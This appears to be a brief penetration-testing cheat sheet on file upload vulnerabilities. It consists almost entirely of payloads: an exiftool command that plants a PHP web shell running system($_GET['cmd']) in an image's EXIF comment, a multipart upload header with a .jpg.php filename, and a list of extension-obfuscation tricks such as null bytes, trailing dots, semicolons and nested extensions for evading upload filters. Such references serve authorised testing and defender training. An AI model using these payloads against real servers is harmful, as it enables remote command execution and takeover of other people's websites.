File uploads

Polyglot files

# Add PHP code to exif headers
exiftool -Comment='<?php system($_GET['cmd']); ?>' <file>.jpg

Content-Disposition: form-data; name="avatar"; filename="<file>.jpg.php"
Content-Type: application/x-php

Obfuscating file extensions

# Provide multiple extensions
exploit.php.jpg

# Add trailing characters
exploit.php.
exploit.php/

# URL encode 
exploit%2Ephp

# Add semicolons or null bytes before extensions
exploit.asp;.jpg
exploit.php%00.jpg

# Bypass extension strippers
exploit.p.phphp

Overwriting server config files

Last updated